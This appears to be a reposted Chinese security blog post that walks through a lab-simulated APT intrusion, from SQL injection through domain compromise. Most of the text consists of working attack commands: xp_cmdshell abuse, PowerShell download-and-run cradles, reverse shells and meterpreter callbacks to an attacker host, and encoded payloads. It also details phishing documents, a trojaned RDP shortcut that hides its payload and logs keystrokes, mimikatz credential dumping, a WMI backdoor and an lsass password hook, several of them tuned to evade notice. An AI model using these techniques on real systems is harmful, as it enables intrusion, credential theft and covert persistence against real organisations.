转载--无弹窗APT渗透实验

文章作者:亚信安全,转载自 FreeBuf.COM

APT攻击方式花样繁多,我研究最近的流行的APT攻击方式,在本地搭建环境模拟一次简单的APT攻击,在模拟攻击过程中发现网上公布的poc都会有大大小的缺陷,大多数poc执行过程中都会弹出一闪而过的黑框框,我深入分析这些脚本,修改其中的代码,使其执行的过程中消除那个一闪而过的黑框框,从而让中招的不会轻易产生怀疑。我研究的目的是暴露这样的攻击过程,让更多的人了解这样的攻击过程,从而能够研究出更有效的防御方法。

首先是内网的拓扑

拓扑说明:

【1】10.101.101.0/24的网段模拟的是外网的地址

【2】192.168.101.0/24的网段模拟的是一个小型企业的内网中的应用服务器网络

【3】192.168.111.0/24的网段模拟的是一个小型企业的内网中的办公网络

【4】企业内网可以无限制的访问到外网,但是外网无法访问到企业内网

【5】办公网可以无限制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络

【6】部分服务器打了全部的补丁,并且保持正常更新

日常扫描:

发现此服务器开放80,82端口,是windows 2008系统 。在80端口发现有sql注入

首先看数据库和数据库所在的服务器版本:

http://10.101.101.13/?page=1 and @@version>0 --

数据库是2008r2的,数据库所在的操作系统是win2008或者win7然后看数据库:

http://10.101.101.13/?page=1;if IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' --

这个语句测试数据库的权限,发现有延时,证明是有数据库的权限是dba的权限然后用:

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

打开xp_cmdshell的限制,下面创建一个临时表:

http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a varchar(8000));--

执行ipconfig /all并将结果写入新创建的临时表中

http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';--

读取结果:

http://10.101.101.13/?page=1 and (select substring((select a from temp for xml auto),1,4000))>0--

看上去这个网站是站库分离的网站。

然后用这种方法执行“ping 10.101.101.16”,发现数据库服务器可以通外网,获取这些信息之后,我用下面的指令删除创建的临时表

http://10.101.101.13/?page=1;drop table temp; --

获取到这么多信息了之后,在自己的机子上开一个web站点,下载nishang的powershell的反弹脚本到自己的web服务器上: https://github.com/samratashok/nishang , 先在自己的主机上用nc -lvvp 8888监听8888端口,等待反弹连接 。

然后执行

http://10.101.101.13/?page=1;exec master..xp_cmdshell
'powershell IEX (New-Object
Net.WebClient).DownloadString('http://10.101.101.13/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
-Reverse -IPAddress 10.101.101.13 -port 8888';--

我们可以看到执行成功

但是数据库被降权,权限不高,现在我把ms15-051的exp上传到自己的服务器,用powershell的远程加载并执行exe的脚本。执行这个exp首先下载powershell的这个脚本

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

然后执行

IEX (New-Object
Net.WebClient).DownloadString('http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection
-PEUrl http://10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

可以看到提权没有成功,并且换一个exp也没有成功

所以下面上msf继续探测 先开启msf的监听功能

然后执行

http://10.101.101.13/?page=1;exec
master..xp_cmdshell('IEX(New-Object
Net.WebClient).DownloadString("http://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode
-payload windows/meterpreter/reverse_https -lhost 10.101.101.16
-lport 4444 -force')

这样就从数据库主机上反弹一个meterpreter连接了。先用

use auxiliary/scanner/smb/smb_version

扫描smb来获取内网的信息

发现一个mail服务器,用

use auxiliary/scanner/portscan

扫描一下端口 ,发现开放了80端口,25,110端口

我用 use auxiliary/server/socks4a 代理进内网

在乌云镜像里面没有找到可以用的洞,但是在82端口发现了惊喜

通过弱口令轻松进入到后台,发现一个可以生成静态站的地方

把自定义静态页面存储主路径改成1.asp,然后编辑一篇文章,把木马代码放进去,重新生成静态页面就可以getshell了

这个服务器的82端口不能执行cmd,不支持aspx,不能跨目录到umail,但是在一个奇怪的地方发现一个一份企业通讯录,下载下来看到管理员邮箱

于是想到用伪造邮件的方法来钓管理员 首先参考两个文章:

http://www.freebuf.com/vuls/144054.html

http://www.91ri.org/15506.html

第一种方法,首先用CVE-2017-8570给的exp做一个钓鱼用的ppsx 。由于原来的exp要用poershell下载一个shell.exe再执行,这样容易被杀软发现,并且原来的exp执行反弹回来的shell权限不够,所以要考虑绕过uac,让管理员点击恶意的ppsx后静默反弹一个高权限的shell。如果用nishang给的Invoke-PsUACme.ps1,执行之后会有一个一闪而过的黑框框,很让人感到怀疑,去掉这个一闪而过的黑框框很简单,因为我用oobe的方法在win7上绕过uac,所以我在这里只介绍在这种条件下去掉黑框框的方法。首先去掉Invoke-PsUACme.ps1中第206行的“& $execpath”这个代码,之后在调用Invoke-PsUACme的时候-payload参数写上你要执行的命令,最后用rundll32.exe静默启动C:/Windows/System32/oobe/setupsqm.exe

IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1")

换掉原来exp里面的powershell调用语句 其中uacchm.ps1的内容是:

IEX (New-Object
System.Net.WebClient).DownloadString('http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme
-method oobe -Payload 'powershell -win hidden -enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process
-FilePath rundll32.exe -ArgumentList
'javascript:"..\mshtml,RunHTMLApplication
";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

而其中enc后面的数据是经过下面的代码编码而成:

$command = "IEX (New-Object
Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')"$bytes =
[System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand =
[Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand
$encodedCommand

编码的内容是:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')

chm.ps1的内容是:

IEX (New-Object
System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1");
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost
10.101.101.16 -lport 7777 -force

改好的exp我放在了

https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py

用法是:先生成一个恶意的ppsx

python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u http://10.101.101.16:82/logo.doc

在82端口开启服务

python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16 

Ps: 好多时候这个漏洞复现不成功,可以将查看 文件 -> 选项,点击 信任中心设置:

去掉这些勾就好

第二种方法:这个比较简单: 用easy chm做一个恶意的chm就好

其中我做的test.html放在了

https://github.com/niexinming/safe_tool/blob/master/test.html

Ps:由于PARAM的value的长度似乎有某种限制,所以我把

IEX (New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1")base64

编码之后放入PARAM的value中

两个恶意的文件都制作好了,我现在用swaks伪造邮件把这两个文档发送出去

现在静静等待管理员点击我们的恶意文件,启动msf的exploit/multi/handler模块时候用exploit -j就可以让msf在后台等待管理员上钩了。 这个时候发现一个管理员中了我们的木马

由于bypass了uac,所以返回的是管理员的shell,我们可以用mimikatz来把密码脱出来看看

由于管理员的机子不属于任何域,也不是域账号登陆,所以,我需要获取他的在远程登陆其他机子的时候的用户名和密码,根据 《解析制作俄罗斯APT组织使用的快捷方式后门文件》 这篇文件的介绍,我希望替换远程桌面的快捷方式来监视管理员的行为。

思路是:

(1)正常启动c:\windows\system32\mstsc.exe,避免管理员怀疑 ;

(2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框,让恶意代码静态启动;

(3)参数部分要先加260个空格字符后面接着为payload代码,这样减小管理员查看属性的时候看到payload而产生怀疑 ;

(4)参考 《渗透技巧——如何巧妙利用PSR监控Windows桌面》 这个文章静默启动一个桌面步骤记录程序 ;

(5)利用PowerSploit的Get-Keystrokes.ps1的脚本来记录键盘记录

(6)记录一分钟后把记录的文件隐藏起来

(7)启动metasploit的反弹连接

(8)修改图标(关于C:\Windows\system32\SHELL32.dll的图标id, 有个网站给的很全面 ,可以修改传递给图标id来修改图标)

我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1, 远程加载的恶意的powershell代码放在了 https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1, 生成好恶意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事情了

使用方法

看着已经生成好了,看一下效果

看着比较正常,用起来也很正常,没有卡顿,没有一闪而过的黑框 。如果管理员用到远程登陆快捷方式去远程登陆服务器的话,在c:\windows\temp目录下会生成log.dll,这个里面记录的是键盘记录,cap.zip记录的是关键步骤截屏

等管理员启动的恶意的远程登陆快捷方式之前,可以用管理员的密码在应用服务器网段内用

use auxiliary/scanner/smb/smb_login碰碰运气

看上去运气不佳啊

等了几天,发现在这个目录下有这个东西了

下载之后看到,键盘记录:

下面是屏幕截图记录

这样我就获得了一个普通域账号的账户名和密码 。

下面试试MS14-068这个漏洞能不能成功,参考文章:

http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/

用proxychain执行goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻击

Ps: 攻击的时候如果dns在内网要记得hosts的地址绑定

用得到的shell反弹一个poweshell出来到本地8888端口,如果你用下面的语句反弹的话将得到是一个32位的powershell:

powershell IEX (New-Object
Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
-Reverse -IPAddress 10.101.101.16 -port 8888

这个时候你运行

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

系统会报错,原因是你不能在32位的shell中运行64位的程程序,这里涉及到一个64位系统文件重定向的问题,参考: http://www.cnblogs.com/lhglihuagang/p/3930874.html 。所以正确的做法是使用下面的代码来反弹一个64位的powershell

C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe
IEX (New-Object
Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
-Reverse -IPAddress 10.101.101.16 -port 8888

这个时候你运行

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat

你就会得到域控管理员的密码下面我要在域控上面安装一个隐蔽的后门,参考文章:

http://www.moonsec.com/post-621.html

https://www.secpulse.com/archives/39555.html

http://wooyun.jozxing.cc/static/drops/tips-15575.html

我利用三好学生的方法制作一个wmi的后门,首先: 在自己的web目录下写一个mof.ps1,这个文件作用是用利用wmi的定时器的功能让系统每分钟执行一次我们的payload,这个mof.ps1我放在 https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1

我还写了一个可以劫持进程的powershell脚本,我放在 https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1 ,这里我用每分钟执行payload的这个脚本,这里的我的payload我用一个反弹meterpreter连接的脚本,mof.txt里面的内容:

<?xml version="1.0"?>

<![CDATA[var r = new ActiveXObject("WScript.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]>

enc编码前的内容依然是:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')

执行之后,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹

Ps: 这个wmi的后门我在win10上实验的时候,不能执行payload,如果触发到后门的触发条件的话,win10会弹出openwith.exe这个进程,界面上看就是这个

查了两天资料也没有找到一个正经的解决方法,但是后来把openwith.exe换成cmd.exe就可以执行payload了,因为win7和win2008没有openwith,所以没有遇到什么阻力就直接执行payload了,但是win10和win8在正常情况下就会打开openwith这个后门的清理方式,可以参考 https://www.52pojie.cn/thread-607115-1-1.html

我还想放置一个后门,在域控管理员改密码的时候记录他的新密码,参考: http://wooyun.jozxing.cc/static/drops/tips-13079.html ,注意他的脚本里面有一个选项可以从你的web服务器加载一个dll到对方主机内存里面,这样你把你的dll生成好之后就可以放在你的web服务器下面,在这个ps1最下面加入

Invoke-ReflectivePEInjection -PEUrl http://10.101.101.16/HookPasswordChange.dll –procname lsass

就可以了,然后你把这个脚本的调用加入到chm.ps1里面:下面是改动之后chm.ps1里面的内容:

IEX (New-Object
System.Net.WebClient).DownloadString("http://10.101.101.16/HookPasswordChangeNotify.ps1")IEX
(New-Object
System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1");
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost
10.101.101.16 -lport 7777 -force

这样就可以任何时候每隔一分钟的时候可以一方面反弹一个meterpreter的连接,还可以在域管理员改密码的时候记录他的新密码

本文介绍了web渗透,邮件钓鱼,后门部署等奇技淫巧,尤其针对消除各种一闪而过的cmd弹窗给出了我自己的解决思路

转载--无弹窗APT渗透实验的更多相关文章

  1. WinRAR 5.40无弹窗广告注册版下载

    WinRAR 5.40无弹窗广告注册版下载  资料来源  http://www.heminjie.com/network/6366.html WinRAR 5.40 下载安装后,打开压缩包文件会弹出广 ...

  2. [转载]无旋treap:从好奇到入门(例题:bzoj3224 普通平衡树)

    转载自ZZH大佬,原文:http://www.cnblogs.com/LadyLex/p/7182491.html 今天我们来学习一种新的数据结构:无旋treap.它和splay一样支持区间操作,和t ...

  3. 记一次msfconsole_android渗透实验

    1>查看本机IP 2>生成App木马 3>将生成的木马安装至手机 4>打开msfconsole 1,  use exploit/multi/handler  加载模块. 2, ...

  4. [转载]无旋treap:从单点到区间(例题 BZOJ1500&NOI2005 维护数列 )

    转自ZZH大佬,原文:http://www.cnblogs.com/LadyLex/p/7182631.html 1500: [NOI2005]维修数列 Time Limit: 10 Sec  Mem ...

  5. Python:Selenium Chrome无弹窗+property/attribute/text

    我们在用Selenium写自动化程序时候,并不希望程序在实际运行过程中一直弹Chrome窗口,这个时候就需要让Chrome默默打开,自动读取数据,然后默默关闭掉就好. 以下是让chrome用无界面形式 ...

  6. Web渗透实验:基于Weblogic的一系列漏洞

    1. 攻击机windows10 192.168.2.104 2. 靶机ip: 192.168.2.109(linux Ubantu) 192.168.2.111(windows2008R264位) 第 ...

  7. 【转载】C语言综合实验1—学生信息管理系统

    http://www.cnblogs.com/Anker/archive/2013/05/06/3063436.html 实验题目:学生信息管理系统 实验要求:用户可以选择1-7可以分别进行学生信息的 ...

  8. ichunqiu在线挑战--网站综合渗透实验 writeup

    挑战链接:http://www.ichunqiu.com/tiaozhan/111 知识点:后台弱口令,md5破解,SQL Injection,写一句话木马,敏感信息泄露, 提权,登陆密码破解 这个挑 ...

  9. Defense:MS08067漏洞攻防渗透实验

    实验环境 Windows XP SP3 IP:172.16.211.129 百度网盘:https://pan.baidu.com/s/1dbBGdkM6aDzXcKajV47zBw     靶机环境 ...

随机推荐

  1. springcloud-Ribbon-负载均衡组件

    Ribbon负载均衡 1.Ribbon简介 ribbin是Netflix发布的负载均衡器,有助于控制http和tcp客户端的行为,为ribbon配置服务提供者列表后,ribbon就可以基于某种负载均衡 ...

  2. sass command

    compass create --bare --sass-dir "sass" --css-dir "css" --javascripts-dir " ...

  3. Go used as value问题

    练习Go变参时遇到一个报错:used as value 代码如下: // 错误代码 func myfunc(arg ...int) { for _, n := range arg { fmt.Prin ...

  4. 给学习Linux系统小白的两三个建议

    前段时间看过一个针对国内Linux使用情况的调研表,有了不少感慨.现在听说过linux,会一点linux基本操作的人多如牛毛,然而真正能用linux做一点事情的确少之又少.无论是公司还是学校,办公基本 ...

  5. Android : 关于HTTPS、TLS/SSL认证以及客户端证书导入方法

    一.HTTPS 简介 HTTPS 全称 HTTP over TLS/SSL(TLS就是SSL的新版本3.1).TLS/SSL是在传输层上层的协议,应用层的下层,作为一个安全层而存在,翻译过来一般叫做传 ...

  6. 用canvas画一个房子

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"/> <script t ...

  7. [Spring Boot]什么是Spring Boot

    <Spring Boot是什么> Spring Boot不是一个框架 是一种用来轻松创建具有最小或零配置的独立应用程序的方式 用来开发基于Spring的应用,但只需非常少的配置. 它提供了 ...

  8. python自学第9天,装饰器

    装饰器:本质是函数(装饰其它函数) 就是为其它函数添加附加功能 原则:1.不能修改被装饰函数的源代码 2.不能修改被装饰的函数的调用方式 实现装饰器知识储备: 1.函数即变量 2.高阶函数:a.把一个 ...

  9. ipv4-only网络环境下访问ipv6站点

    使用6plat.org+openVPN(无需资金投入)进入ipv6网络 这里我们主要使用的是6plat.org提供的“46模块——IPv4到IPv6”功能,需要配合openVPN这个软件,支持wind ...

  10. 利用Aspectj实现Oval的自动参数校验

    前言: Oval参数校验框架确实小巧而强大, 他通过注解的方式配置类属性, 然后通过Oval本身自带的工具类, 快速便捷执行参数校验. 但是工具类的校验需要额外的代码编写, 同时Oval对函数参数级的 ...